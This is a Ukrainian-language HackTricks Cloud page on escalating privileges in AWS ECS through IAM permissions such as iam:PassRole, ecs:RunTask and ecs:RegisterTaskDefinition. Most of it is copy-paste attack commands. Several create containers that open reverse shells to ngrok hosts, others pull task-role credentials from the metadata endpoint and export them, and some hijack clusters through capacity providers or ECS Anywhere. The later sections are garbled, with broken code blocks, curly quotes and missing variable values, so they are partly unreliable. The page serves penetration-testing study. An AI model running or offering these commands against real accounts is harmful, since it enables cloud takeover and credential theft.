AWS - ECS Privesc

Tip

Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Вивчайте та практикуйте Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Підтримайте HackTricks

ECS

Додаткова інформація про ECS в:

AWS - ECS Enum

iam:PassRole, ecs:RegisterTaskDefinition, ecs:RunTask

Атакуючий, який зловживає дозволом iam:PassRole, ecs:RegisterTaskDefinition та ecs:RunTask в ECS, може згенерувати новий task definition з шкідливим container, який викрадає metadata credentials і запустити його.

# Generate task definition with rev shell
aws ecs register-task-definition --family iam_exfiltration \
--task-role-arn arn:aws:iam::947247140022:role/ecsTaskExecutionRole \
--network-mode "awsvpc" \
--cpu 256 --memory 512\
--requires-compatibilities "[\"FARGATE\"]" \
--container-definitions "[{\"name\":\"exfil_creds\",\"image\":\"python:latest\",\"entryPoint\":[\"sh\", \"-c\"],\"command\":[\"/bin/bash -c \\\"bash -i >& /dev/tcp/0.tcp.ngrok.io/14280 0>&1\\\"\"]}]"

# Run task definition
aws ecs run-task --task-definition iam_exfiltration \
--cluster arn:aws:ecs:eu-west-1:947247140022:cluster/API \
--launch-type FARGATE \
--network-configuration "{\"awsvpcConfiguration\":{\"assignPublicIp\": \"ENABLED\", \"subnets\":[\"subnet-e282f9b8\"]}}"

# Delete task definition
## You need to remove all the versions (:1 is enough if you just created one)
aws ecs deregister-task-definition --task-definition iam_exfiltration:1

Можливий вплив: Direct privesc to a different ECS role.

iam:PassRole,ecs:RunTask

Зловмисник, який має дозволи iam:PassRole та ecs:RunTask, може запустити нове ECS task з модифікованими execution role, task role та значеннями command контейнера. Команда CLI ecs run-task містить прапорець --overrides, який дозволяє під час виконання змінити executionRoleArn, taskRoleArn та command контейнера без зміни task definition.

Вказані IAM ролі для taskRoleArn та executionRoleArn повинні у своїй trust policy дозволяти бути assumed сервісом ecs-tasks.amazonaws.com.

Також зловмиснику необхідно знати:

  • ECS cluster name
  • VPC Subnet
  • Security group (If no security group is specified the default one will be used)
  • Task Definition Name and revision
  • Name of the Container
aws ecs run-task \
--cluster <cluster-name> \
--launch-type FARGATE \
--network-configuration "awsvpcConfiguration={subnets=[<subnet-id>],securityGroups=[<security-group-id>],assignPublicIp=ENABLED}" \
--task-definition <task-definition:revision> \
--overrides '
{
"taskRoleArn": "arn:aws:iam::<redacted>:role/HighPrivilegedECSTaskRole",
"containerOverrides": [
{
"name": <container-name>,
"command": ["nc", "4.tcp.eu.ngrok.io", "18798", "-e", "/bin/bash"]
}
]
}'

У наведеному вище фрагменті коду атакуючий замінює лише значення taskRoleArn. Однак для здійснення атаки атакуючий повинен мати дозволи iam:PassRole на taskRoleArn, вказаний у команді, та на executionRoleArn, вказаний у визначенні завдання.

Якщо IAM роль, яку атакуючий може передати, має достатні привілеї для завантаження образу з ECR і запуску ECS завдання (ecr:BatchCheckLayerAvailability, ecr:GetDownloadUrlForLayer,ecr:BatchGetImage,ecr:GetAuthorizationToken), то атакуючий може вказати ту саму IAM роль і для executionRoleArn, і для taskRoleArn у команді ecs run-task.

aws ecs run-task --cluster <cluster-name> --launch-type FARGATE --network-configuration "awsvpcConfiguration={subnets=[<subnet-id>],securityGroups=[<security-group-id>],assignPublicIp=ENABLED}" --task-definition <task-definition:revision> --overrides '
{
"taskRoleArn": "arn:aws:iam::<redacted>:role/HighPrivilegedECSTaskRole",
"executionRoleArn":"arn:aws:iam::<redacted>:role/HighPrivilegedECSTaskRole",
"containerOverrides": [
{
"name": "<container-name>",
"command": ["nc", "4.tcp.eu.ngrok.io", "18798", "-e", "/bin/bash"]
}
]
}'

Можливий вплив: Прямий privesc до будь-якої ECS task role.

iam:PassRole, ecs:RegisterTaskDefinition, ecs:StartTask

Як і в попередньому прикладі, атакуючий, що зловживає правами iam:PassRole, ecs:RegisterTaskDefinition, ecs:StartTask в ECS, може згенерувати новий task definition з зловмисним контейнером, який викрадає metadata credentials і запустити його.
Однак у цьому випадку потрібен container instance для запуску зловмисного task definition.

# Generate task definition with rev shell
aws ecs register-task-definition --family iam_exfiltration \
--task-role-arn arn:aws:iam::947247140022:role/ecsTaskExecutionRole \
--network-mode "awsvpc" \
--cpu 256 --memory 512\
--container-definitions "[{\"name\":\"exfil_creds\",\"image\":\"python:latest\",\"entryPoint\":[\"sh\", \"-c\"],\"command\":[\"/bin/bash -c \\\"bash -i >& /dev/tcp/0.tcp.ngrok.io/14280 0>&1\\\"\"]}]"

aws ecs start-task --task-definition iam_exfiltration \
--container-instances <instance_id>

# Delete task definition
## You need to remove all the versions (:1 is enough if you just created one)
aws ecs deregister-task-definition --task-definition iam_exfiltration:1

Potential Impact: Прямий privesc до будь-якої ролі ECS.

iam:PassRole, ecs:RegisterTaskDefinition, (ecs:UpdateService|ecs:CreateService)

Як і в попередньому прикладі, зловмисник, який зловживає дозволами iam:PassRole, ecs:RegisterTaskDefinition, ecs:UpdateService або ecs:CreateService в ECS, може створити новий task definition зі шкідливим container, який викрадає metadata credentials, і запустити його, створивши новий service з принаймні 1 task, що працює.

# Generate task definition with rev shell
aws ecs register-task-definition --family iam_exfiltration \
--task-role-arn  "$ECS_ROLE_ARN" \
--network-mode "awsvpc" \
--cpu 256 --memory 512\
--requires-compatibilities "[\"FARGATE\"]" \
--container-definitions "[{\"name\":\"exfil_creds\",\"image\":\"python:latest\",\"entryPoint\":[\"sh\", \"-c\"],\"command\":[\"/bin/bash -c \\\"bash -i >& /dev/tcp/8.tcp.ngrok.io/12378 0>&1\\\"\"]}]"

# Run the task creating a service
aws ecs create-service --service-name exfiltration \
--task-definition iam_exfiltration \
--desired-count 1 \
--cluster "$CLUSTER_ARN" \
--launch-type FARGATE \
--network-configuration "{\"awsvpcConfiguration\":{\"assignPublicIp\": \"ENABLED\", \"subnets\":[\"$SUBNET\"]}}"

# Run the task updating a service
aws ecs update-service --cluster <CLUSTER NAME> \
--service <SERVICE NAME> \
--task-definition <NEW TASK DEFINITION NAME>

Потенційний вплив: Direct privesc to any ECS role.

iam:PassRole, (ecs:UpdateService|ecs:CreateService)

Насправді, лише з цими дозволами можна використати overrides, щоб виконати довільні команди в контейнері з довільною роллю, наприклад:

aws ecs run-task \
--task-definition "<task-name>" \
--overrides '{"taskRoleArn":"<role-arn>", "containerOverrides":[{"name":"<container-name-in-task>","command":["/bin/bash","-c","curl https://reverse-shell.sh/6.tcp.eu.ngrok.io:18499 | sh"]}]}' \
--cluster <cluster-name> \
--network-configuration "{\"awsvpcConfiguration\":{\"assignPublicIp\": \"DISABLED\", \"subnets\":[\"<subnet-name>\"]}}"

Потенційний вплив: Пряме privesc до будь-якої ролі ECS.

ecs:RegisterTaskDefinition, (ecs:RunTask|ecs:StartTask|ecs:UpdateService|ecs:CreateService)

Цей сценарій схожий на попередні, але без дозволу iam:PassRole.
Це все ще цікаво, бо якщо ви можете запустити довільний контейнер, навіть без ролі, ви можете запустити привілейований контейнер, щоб втекти на ноду та вкрасти EC2 IAM роль і ролі інших контейнерів ECS, що працюють на цій ноді.
Ви навіть можете змусити інші таски виконуватись всередині EC2 інстансу, який ви скомпрометували, щоб вкрасти їхні облікові дані (як обговорюється у Privesc to node section).

Warning

Ця атака можлива лише якщо ECS cluster is using EC2 інстанси, а не Fargate.

printf '[
{
"name":"exfil_creds",
"image":"python:latest",
"entryPoint":["sh", "-c"],
"command":["/bin/bash -c \\\"bash -i >& /dev/tcp/7.tcp.eu.ngrok.io/12976 0>&1\\\""],
"mountPoints": [
{
"readOnly": false,
"containerPath": "/var/run/docker.sock",
"sourceVolume": "docker-socket"
}
]
}
]' > /tmp/task.json

printf '[
{
"name": "docker-socket",
"host": {
"sourcePath": "/var/run/docker.sock"
}
}
]' > /tmp/volumes.json


aws ecs register-task-definition --family iam_exfiltration \
--cpu 256 --memory 512 \
--requires-compatibilities '["EC2"]' \
--container-definitions file:///tmp/task.json \
--volumes file:///tmp/volumes.json


aws ecs run-task --task-definition iam_exfiltration \
--cluster arn:aws:ecs:us-east-1:947247140022:cluster/ecs-takeover-ecs_takeover_cgidc6fgpq6rpg-cluster \
--launch-type EC2

# You will need to do 'apt update' and 'apt install docker.io' to install docker in the rev shell

ecs:ExecuteCommand, ecs:DescribeTasks,(ecs:RunTask|ecs:StartTask|ecs:UpdateService|ecs:CreateService)

Атакувальник з ecs:ExecuteCommand, ecs:DescribeTasks може виконувати команди всередині запущеного контейнера та ексфільтрувати роль IAM, прикріплену до нього (вам потрібні права describe, бо вони необхідні для запуску aws ecs execute-command).
Однак, для цього на інстансі контейнера має бути запущено ExecuteCommand agent (який за замовчуванням не запущений).

Тому атакувач може спробувати:

  • Спробувати виконати команду в кожному запущеному контейнері
# List enableExecuteCommand on each task
for cluster in $(aws ecs list-clusters | jq .clusterArns | grep '"' | cut -d '"' -f2); do
echo "Cluster $cluster"
for task in $(aws ecs list-tasks --cluster "$cluster" | jq .taskArns | grep '"' | cut -d '"' -f2); do
echo "  Task $task"
# If true, it's your lucky day
aws ecs describe-tasks --cluster "$cluster" --tasks "$task" | grep enableExecuteCommand
done
done

# Execute a shell in a container
aws ecs execute-command --interactive \
--command "sh" \
--cluster "$CLUSTER_ARN" \
--task "$TASK_ARN"

Якщо у вас є shell всередині container, зазвичай можна extract the task role credentials з task credentials endpoint і повторно використовувати їх поза container:

# Inside the container:
echo "$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI"
curl -s "http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI" | jq

# If you want to use them locally, print shell exports:
python3 - <<'PY'
import json, os, urllib.request
u = "http://169.254.170.2" + os.environ["AWS_CONTAINER_CREDENTIALS_RELATIVE_URI"]
d = json.load(urllib.request.urlopen(u, timeout=2))
print("export AWS_ACCESS_KEY_ID=" + d["AccessKeyId"])
print("export AWS_SECRET_ACCESS_KEY=" + d["SecretAccessKey"])
print("export AWS_SESSION_TOKEN=" + d["Token"])
PY
  • Якщо має ecs:RunTask, запустіть задачу за допомогою aws ecs run-task --enable-execute-command [...]
  • Якщо має ecs:StartTask, запустіть задачу за допомогою aws ecs start-task --enable-execute-command [...]
  • Якщо має ecs:CreateService, створіть service за допомогою aws ecs create-service --enable-execute-command [...]
  • Якщо має ecs:UpdateService, оновіть service за допомогою aws ecs update-service --enable-execute-command [...]

Ви можете знайти приклади цих опцій в попередніх розділах ECS privesc.

Можливий вплив: Privesc до іншої ролі, прикріпленої до контейнерів.

ssm:StartSession

Перегляньте ssm privesc page, щоб дізнатися, як можна зловживати цим дозволом для privesc to ECS:

AWS - SSM Privesc

iam:PassRole, ec2:RunInstances

Перегляньте ec2 privesc page, щоб дізнатися, як можна зловживати цими дозволами для privesc to ECS:

AWS - EC2 Privesc

ecs:RegisterContainerInstance, ecs:DeregisterContainerInstance, ecs:StartTask, iam:PassRole

Атакуючий з цими дозволами часто може перетворити «членство в кластері» на обхід межі безпеки:

  • Зареєструвати attacker-controlled EC2 instance у вразливому ECS cluster (стаючи container instance)
  • Встановити власні container instance attributes для задоволення placement constraints
  • Дозволити ECS розміщувати tasks на цьому хості
  • Викрасти task role credentials (та будь-які secrets/data всередині контейнера) з task, що виконується на вашому хості

High-level workflow:

  1. Отримати EC2 instance identity document + signature з EC2 instance, яким ви керуєте в цільовому акаунті (наприклад через SSM/SSH):
curl -s http://169.254.169.254/latest/dynamic/instance-identity/document > iidoc.json
curl -s http://169.254.169.254/latest/dynamic/instance-identity/signature > iisig
  1. Зареєструйте його в цільовому кластері, за потреби встановивши атрибути, щоб задовольнити вимоги розміщення:
aws ecs register-container-instance \
--cluster "$CLUSTER" \
--instance-identity-document file://iidoc.json \
--instance-identity-document-signature "$(cat iisig)" \
--attributes name=labtarget,value=hijack
  1. Підтвердіть, що воно приєдналося:
aws ecs list-container-instances --cluster "$CLUSTER"
  1. Запустити task / оновити service так, щоб щось було заплановано на instance, потім витягти task role creds зсередини task:
# On the container host:
docker ps
docker exec -it <container-id> sh
curl -s "http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI"

Примітки:

  • Реєстрація container instance за допомогою instance identity document/signature означає, що ви маєте доступ до EC2 інстансу в цільовому акаунті (або скомпрометували його). Для крос-акаунтного “bring your own EC2”, див. техніку ECS Anywhere на цій сторінці.
  • Обмеження розміщення зазвичай залежать від атрибутів container instance. Перерахуйте їх за допомогою ecs:DescribeServices, ecs:DescribeTaskDefinition, та ecs:DescribeContainerInstances, щоб визначити, які атрибути потрібно встановити.

ecs:CreateTaskSet, ecs:UpdateServicePrimaryTaskSet, ecs:DescribeTaskSets

Note

TODO: Потрібно протестувати

Атакувальник, який має дозволи ecs:CreateTaskSet, ecs:UpdateServicePrimaryTaskSet, та ecs:DescribeTaskSets, може створити шкідливий task set для існуючого ECS service та оновити primary task set. Це дозволяє атакувальнику виконувати довільний код всередині сервісу.

# Register a task definition with a reverse shell
echo '{
"family": "malicious-task",
"containerDefinitions": [
{
"name": "malicious-container",
"image": "alpine",
"command": [
"sh",
"-c",
"apk add --update curl && curl https://reverse-shell.sh/2.tcp.ngrok.io:14510 | sh"
]
}
]
}' > malicious-task-definition.json

aws ecs register-task-definition --cli-input-json file://malicious-task-definition.json

# Create a malicious task set for the existing service
aws ecs create-task-set --cluster existing-cluster --service existing-service --task-definition malicious-task --network-configuration "awsvpcConfiguration={subnets=[subnet-0e2b3f6c],securityGroups=[sg-0f9a6a76],assignPublicIp=ENABLED}"

# Update the primary task set for the service
aws ecs update-service-primary-task-set --cluster existing-cluster --service existing-service --primary-task-set arn:aws:ecs:region:123456789012:task-set/existing-cluster/existing-service/malicious-task-set-id

Можливий вплив: Виконання довільного коду у вразливому сервісі, що може порушити його функціональність або призвести до викрадення конфіденційних даних.

Посилання

Перехоплення планування ECS через зловмисний Capacity Provider (EC2 ASG takeover)

Атакуючий із дозволами на керування ECS capacity providers та оновлення сервісів може створити EC2 Auto Scaling Group під своїм контролем, загорнути її в ECS Capacity Provider, асоціювати її з цільовим кластером і перемістити сервіс жертви на використання цього провайдера. Завдання потім будуть плануватися на EC2 інстанси під контролем нападника, що дозволяє доступ на рівні ОС для перевірки контейнерів та викрадення облікових даних ролі задачі.

Commands (us-east-1):

  • Попередні вимоги

  • Create Launch Template for ECS agent to join target cluster

  • Create Auto Scaling Group

  • Create Capacity Provider from the ASG

  • Associate the Capacity Provider to the cluster (optionally as default)

  • Migrate a service to your provider

  • Verify tasks land on attacker instances

  • Додатково: From the EC2 node, docker exec into target containers and read http://169.254.170.2 to obtain the task role credentials.

  • Очищення

Можливий вплив: EC2 вузли під контролем нападника отримують завдання жертви, що дозволяє доступ на рівні ОС до контейнерів та викрадення облікових даних ролі задачі IAM.

Покрокові команди (копіювати/вставити)
export AWS_DEFAULT_REGION=us-east-1
CLUSTER=arn:aws:ecs:us-east-1:947247140022:cluster/ht-victim-cluster
# Instance profile for ECS nodes
aws iam create-role --role-name ht-ecs-instance-role --assume-role-policy-document Version:2012-10-17 || true
aws iam attach-role-policy --role-name ht-ecs-instance-role --policy-arn arn:aws:iam::aws:policy/service-role/AmazonEC2ContainerServiceforEC2Role || true
aws iam create-instance-profile --instance-profile-name ht-ecs-instance-profile || true
aws iam add-role-to-instance-profile --instance-profile-name ht-ecs-instance-profile --role-name ht-ecs-instance-role || true

VPC=vpc-18e6ac62 SUBNETS=

AMI=ami-0b570770164588ab4 USERDATA=IyEvYmluL2Jhc2gKZWNobyBFQ1NfQ0xVU1RFUj0gPj4gL2V0Yy9lY3MvZWNzLmNvbmZpZwo= LT_ID=

ASG_ARN=

CP_NAME=htcp-8797 aws ecs create-capacity-provider –name –auto-scaling-group-provider “autoScalingGroupArn=,managedScaling={status=ENABLED,targetCapacity=100},managedTerminationProtection=DISABLED” aws ecs put-cluster-capacity-providers –cluster “” –capacity-providers –default-capacity-provider-strategy capacityProvider=,weight=1

SVC=

Task definition must be EC2-compatible (not Fargate-only)

aws ecs update-service –cluster “” –service “” –capacity-provider-strategy capacityProvider=,weight=1 –force-new-deployment

TASK= CI= aws ecs describe-container-instances –cluster “” –container-instances “” –query containerInstances[0].ec2InstanceId –output text

Створення бекдора для обчислень у кластері через реєстрацію ECS Anywhere EXTERNAL

Зловживання ECS Anywhere для реєстрації хоста під контролем нападника як EXTERNAL container instance у кластері жертви ECS і запуску завдань на цьому хості з використанням привілейованих task та execution ролей. Це дає контроль на рівні ОС над тим, де виконуються завдання (ваш власний комп’ютер) і дозволяє викрадення облікових даних/даних з завдань та підключених томів без втручання в capacity providers або ASG.

  • Необхідні дозволи (приклад мінімальних):

  • ecs:CreateCluster (optional), ecs:RegisterTaskDefinition, ecs:StartTask or ecs:RunTask

  • ssm:CreateActivation, ssm:DeregisterManagedInstance, ssm:DeleteActivation

  • iam:CreateRole, iam:AttachRolePolicy, iam:DeleteRole, iam:PassRole (для ECS Anywhere instance role та task/execution ролей)

  • logs:CreateLogGroup/Stream, logs:PutLogEvents (if using awslogs)

  • Вплив: запуск довільних контейнерів з обраним taskRoleArn на хості нападника; ексфільтрація облікових даних ролі задачі з 169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI; доступ до будь-яких томів, змонтованих завданнями; більш непомітно, ніж маніпулювання capacity providers/ASGs.

Steps

  1. Створити/виявити кластер (us-east-1)
aws ecs create-cluster --cluster-name ht-ecs-anywhere
  1. Створити роль ECS Anywhere та активацію SSM (для on-prem/EXTERNAL instance)
aws iam create-role --role-name ecsAnywhereRole \
--assume-role-policy-document '{"Version":"2012-10-17","Statement":[{"Effect":"Allow","Principal":{"Service":"ssm.amazonaws.com"},"Action":"sts:AssumeRole"}]}'
aws iam attach-role-policy --role-name ecsAnywhereRole --policy-arn arn:aws:iam::aws:policy/AmazonSSMManagedInstanceCore
aws iam attach-role-policy --role-name ecsAnywhereRole --policy-arn arn:aws:iam::aws:policy/service-role/AmazonEC2ContainerServiceforEC2Role
ACTJSON=$(aws ssm create-activation --iam-role ecsAnywhereRole)
ACT_ID=$(echo $ACTJSON | jq -r .ActivationId); ACT_CODE=$(echo $ACTJSON | jq -r .ActivationCode)
  1. Розгорнути attacker host і автоматично зареєструвати його як EXTERNAL (наприклад: невеликий AL2 EC2 як “on‑prem”)
user-data.sh ```bash #!/bin/bash set -euxo pipefail amazon-linux-extras enable docker || true yum install -y docker curl jq systemctl enable --now docker curl -fsSL -o /root/ecs-anywhere-install.sh "https://amazon-ecs-agent.s3.amazonaws.com/ecs-anywhere-install-latest.sh" chmod +x /root/ecs-anywhere-install.sh /root/ecs-anywhere-install.sh --cluster ht-ecs-anywhere --activation-id ${ACT_ID} --activation-code ${ACT_CODE} --region us-east-1 ```
```bash AMI=$(aws ssm get-parameters --names /aws/service/ami-amazon-linux-latest/amzn2-ami-hvm-x86_64-gp2 --query 'Parameters[0].Value' --output text) IID=$(aws ec2 run-instances --image-id $AMI --instance-type t3.micro \ --user-data file://user-data.sh --query 'Instances[0].InstanceId' --output text) aws ec2 wait instance-status-ok --instance-ids $IID ``` 4) Перевірте, що зовнішній екземпляр контейнера приєднався ```bash aws ecs list-container-instances --cluster ht-ecs-anywhere aws ecs describe-container-instances --cluster ht-ecs-anywhere \ --container-instances --query 'containerInstances[0].[ec2InstanceId,attributes]' # ec2InstanceId will be mi-XXXXXXXX (SSM managed instance id) and attributes include ecs.capability.external ``` 5) Створити task/execution roles, зареєструвати EXTERNAL task definition і запустити його на attacker host ```bash # roles aws iam create-role --role-name ht-ecs-task-exec \ --assume-role-policy-document '{"Version":"2012-10-17","Statement":[{"Effect":"Allow","Principal":{"Service":"ecs-tasks.amazonaws.com"},"Action":"sts:AssumeRole"}]}' aws iam attach-role-policy --role-name ht-ecs-task-exec --policy-arn arn:aws:iam::aws:policy/service-role/AmazonECSTaskExecutionRolePolicy aws iam create-role --role-name ht-ecs-task-role \ --assume-role-policy-document '{"Version":"2012-10-17","Statement":[{"Effect":"Allow","Principal":{"Service":"ecs-tasks.amazonaws.com"},"Action":"sts:AssumeRole"}]}' # attach any privileges you want to abuse to this task role

task def (EXTERNAL launch)

cat > td-external.json << ‘JSON’ { “family”: “ht-external”, “requiresCompatibilities”: [ “EXTERNAL” ], “networkMode”: “bridge”, “memory”: “256”, “cpu”: “128”, “executionRoleArn”: “arn:aws:iam:::role/ht-ecs-task-exec”, “taskRoleArn”: “arn:aws:iam:::role/ht-ecs-task-role”, “containerDefinitions”: [ {“name”:“steal”,“image”:“public.ecr.aws/amazonlinux/amazonlinux:latest”, “entryPoint”:[“/bin/sh”,“-c”], “command”:[“REL=$(printenv AWS_CONTAINER_CREDENTIALS_RELATIVE_URI); echo CREDS:; curl -s http://169.254.170.2$REL; sleep 600”], “memory”: 128, “logConfiguration”:{“logDriver”:“awslogs”,“options”:{“awslogs-region”:“us-east-1”,“awslogs-group”:“/ht/ecs/anywhere”,“awslogs-stream-prefix”:“steal”}} } ] } JSON aws logs create-log-group –log-group-name /ht/ecs/anywhere || true aws ecs register-task-definition –cli-input-json file://td-external.json CI=$(aws ecs list-container-instances –cluster ht-ecs-anywhere –query ‘containerInstanceArns[0]’ –output text) aws ecs start-task –cluster ht-ecs-anywhere –task-definition ht-external
–container-instances $CI

6) Звідси ви контролюєте хост, що запускає tasks. Ви можете читати логи задач (якщо awslogs) або безпосередньо виконувати exec на хості, щоб ексфільтрувати credentials/data з ваших tasks.



#### Command example (placeholders)




### Hijack ECS Scheduling via Malicious Capacity Provider (EC2 ASG takeover)

Атакуючий з правами керувати ECS capacity providers та оновлювати сервіси може створити EC2 Auto Scaling Group під своїм контролем, загорнути її у ECS Capacity Provider, асоціювати з цільовим кластером і перемістити сервіс жертви на використання цього provider. Tasks тоді будуть запускатися на EC2-екземплярах, контрольованих атакуючим, що дозволяє доступ на рівні ОС для інспекції контейнерів та викрадення task role credentials.

Commands (us-east-1):

- Передумови



- Create Launch Template for ECS agent to join target cluster



- Створити Auto Scaling Group



- Create Capacity Provider from the ASG



- Associate the Capacity Provider to the cluster (optionally as default)



- Migrate a service to your provider



- Verify tasks land on attacker instances



- Optional: From the EC2 node, docker exec into target containers and read http://169.254.170.2 to obtain the task role credentials.

- Cleanup



**Potential Impact:** EC2-ноді, контрольовані атакуючим, отримують завдання жертви, що дозволяє доступ на рівні ОС до контейнерів та викрадення task IAM role credentials.
> [!TIP]
> Вивчайте та практикуйте AWS Hacking:<img src="../../../../../images/arte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://hacktricks-training.com/courses/arte)<img src="../../../../../images/arte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">\
> Вивчайте та практикуйте GCP Hacking: <img src="../../../../../images/grte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training GCP Red Team Expert (GRTE)**](https://hacktricks-training.com/courses/grte)<img src="../../../../../images/grte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">\
> Вивчайте та практикуйте Az Hacking: <img src="../../../../../images/azrte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training Azure Red Team Expert (AzRTE)**](https://hacktricks-training.com/courses/azrte)<img src="../../../../../images/azrte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">
>
> <details>
>
> <summary>Підтримайте HackTricks</summary>
>
> - Перегляньте the [**subscription plans**](https://github.com/sponsors/carlospolop)!
> - **Приєднуйтесь до** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) або до [**telegram group**](https://t.me/peass) або **стежте** за нами в **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
> - **Діліться hacking tricks, надсилаючи PRs до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
>
> </details>